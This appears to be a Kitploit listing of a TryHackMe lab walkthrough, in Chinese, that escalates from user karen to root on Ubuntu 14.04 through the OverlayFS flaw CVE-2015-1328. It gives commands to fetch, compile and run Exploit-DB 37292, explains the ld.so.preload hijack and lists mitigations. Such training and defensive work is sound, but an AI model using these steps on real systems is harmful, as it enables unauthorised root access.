Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2015-1328 — 针对CVE-2015-1328 (OverlayFS) 的逐步利用指南,用于在Ubuntu 14.04上从低权限用户提升权限至root。包括枚举、漏洞利用编译和执行。 | Kitploit
工具/GitHubGitHub/fernandocassiodev/cve-2015-1328
权限提升漏洞利用CTF学习与教育二进制利用实验室与实践
GitHubfernandocassiodev/cve-2015-1328

CVE-2015-1328

针对CVE-2015-1328 (OverlayFS) 的逐步利用指南,用于在Ubuntu 14.04上从低权限用户提升权限至root。包括枚举、漏洞利用编译和执行。

查看仓库
31个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2015-1328

TryHackMe 演练 – Linux 内核权限提升 (CVE-2015-1328)

目标

此演练的目标是通过利用存在漏洞的 Linux 内核,将权限从低权限用户 (karen) 提升到 root。


步骤 1 – 初始枚举

通过 SSH 连接到目标机器后:

root@kitploit:~
ssh karen@<target-ip>

我识别出了 Linux 内核版本:

root@kitploit:~
uname -r

输出:

root@kitploit:~
3.13.0-24-generic

该机器运行的是 Ubuntu 14.04,内核为 3.13.0-24-generic。


步骤 2 – 搜索内核漏洞

由于 Linux 权限提升通常依赖于有漏洞的内核,我使用 SearchSploit 搜索了 Exploit-DB:

root@kitploit:~
searchsploit overlayfs ubuntu 3.13

结果:

root@kitploit:~
Linux Kernel 3.13.0 < 3.19 (Ubuntu...) - overlayfs Local Privilege Escalation
37292.c

该漏洞利用针对的是 CVE-2015-1328,该漏洞影响修补版本之前的 Ubuntu 内核。


步骤 3 – 理解漏洞

在执行任何漏洞利用之前,理解其作用非常重要。

该漏洞利用利用了 OverlayFS(Linux 联合文件系统)中的一个缺陷。

该漏洞存在的原因是 OverlayFS 在用户命名空间 (CLONE_NEWUSER) 内挂载时错误地处理了文件权限。

非特权用户可以操纵 OverlayFS 创建或修改通常只有 root 才能写入的文件。

该漏洞利用最终会写入:

root@kitploit:~
/etc/ld.so.preload

该文件告诉 Linux 动态加载器在每个动态链接的可执行文件之前加载一个共享库。

通过强制系统加载恶意共享库,该漏洞利用获得了 root 权限的代码执行。


步骤 4 – 获取漏洞利用

使用 SearchSploit:

root@kitploit:~
searchsploit -m 37292

这会将漏洞利用复制到本地:

root@kitploit:~
37292.c

然后将漏洞利用传输到目标机器上。

在本演练中,它被保存为:

root@kitploit:~
/tmp/ofs.c

步骤 5 – 编译漏洞利用

导航到包含漏洞利用的目录:

root@kitploit:~
cd /tmp

使用 GCC 编译它:

root@kitploit:~
gcc ofs.c -o ofs

如果编译成功,GCC 不会产生任何输出。

验证可执行文件是否存在:

root@kitploit:~
ls -l

预期:

root@kitploit:~
-rwxr-xr-x ... ofs

步骤 6 – 执行漏洞利用

运行可执行文件:

root@kitploit:~
./ofs

漏洞利用会打印类似如下的消息:

root@kitploit:~
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library

最后,它会产生一个 root shell:

root@kitploit:~
#

验证权限:

root@kitploit:~
id

输出:

root@kitploit:~
uid=0(root) gid=0(root)

步骤 7 – 获取 Flag

获得 root 权限后:

root@kitploit:~
cat /home/matt/flag1.txt

现在可以成功读取该文件。


漏洞利用的工作原理

该漏洞利用内部执行了多个操作。

1. 创建用户命名空间

root@kitploit:~
unshare(CLONE_NEWUSER);

Linux 用户命名空间允许非特权进程在命名空间内部看起来像 root,但实际上并非主机上的 root。

此能力对攻击至关重要。


2. 创建挂载命名空间

root@kitploit:~
clone(... CLONE_NEWNS ...)

一个单独的挂载命名空间将文件系统更改与操作系统的其余部分隔离开来。

这使得漏洞利用能够挂载 OverlayFS 而不会影响全局文件系统。


3. 挂载 OverlayFS

漏洞利用会创建临时目录:

root@kitploit:~
/tmp/ns_sploit/
├── upper/
├── work/
└── o/

然后挂载 OverlayFS:

root@kitploit:~
Lower Layer
      │
      ▼
OverlayFS
      │
      ▼
Upper Layer

由于内核漏洞,OverlayFS 错误地允许了本应需要 root 权限的操作。


4. 创建 /etc/ld.so.preload

漏洞利用将 OverlayFS 挂载内的一个可写文件重命名为:

root@kitploit:~
ld.so.preload

在将 OverlayFS 重新挂载到 /etc 上之后,该文件变为:

root@kitploit:~
/etc/ld.so.preload

通常,只有 root 才能创建此文件。


5. 构建恶意共享库

漏洞利用写入一个 C 源文件:

root@kitploit:~
/tmp/ofs-lib.c

然后编译它:

root@kitploit:~
gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c

生成的共享库会覆盖 getuid() 函数。


6. 劫持动态链接器

漏洞利用将以下内容写入:

root@kitploit:~
/tmp/ofs-lib.so

到:

root@kitploit:~
/etc/ld.so.preload

现在,每个动态链接的可执行文件都会在任何系统库之前加载这个恶意库。


7. 执行 /bin/su

最后:

root@kitploit:~
execl("/bin/su", "su", NULL);

当 su 启动时,恶意的 getuid() 函数会替代原始函数执行。

该库会:

  • 删除 /etc/ld.so.preload
  • 删除恶意共享库
  • 调用:
root@kitploit:~
setresuid(0,0,0);
setresgid(0,0,0);
  • 启动:
root@kitploit:~
/bin/sh

结果是一个交互式的 root shell。


为什么这能成功

该漏洞是由于 OverlayFS 在用户命名空间内使用时,其权限处理不正确导致的。

非特权用户可以操纵 OverlayFS 创建特权文件,例如:

root@kitploit:~
/etc/ld.so.preload

由于动态加载器信任此文件,任意代码会以 root 身份执行。


缓解措施

此漏洞已由 Ubuntu 在更新的内核版本中修补。

缓解策略包括:

  • 将 Linux 内核更新到修补版本。
  • 在不需要时禁用非特权用户命名空间。
  • 限制 OverlayFS 的使用。
  • 定期应用安全更新。
  • 监控以下文件的未授权修改:
    • /etc/ld.so.preload
    • /etc/ld.so.cache

关键要点

  • 在 Linux 权限提升过程中,务必枚举内核版本。
  • 在尝试利用之前,验证内核版本是否存在漏洞。
  • 在执行漏洞利用代码之前,先阅读并理解它。
  • 内核漏洞利用可以直接获得 root 权限,但也可能导致目标系统崩溃。
  • 在真实的渗透测试中,由于可能影响系统稳定性,只应在明确授权的情况下尝试内核漏洞利用。

使用的命令

root@kitploit:~
# 枚举内核版本
uname -r

# 搜索漏洞利用
searchsploit overlayfs ubuntu 3.13

# 将漏洞利用复制到本地
searchsploit -m 37292

# 编译漏洞利用
gcc ofs.c -o ofs

# 执行漏洞利用
./ofs

# 验证权限
id

# 读取 Flag
cat /home/matt/flag1.txt
下载工具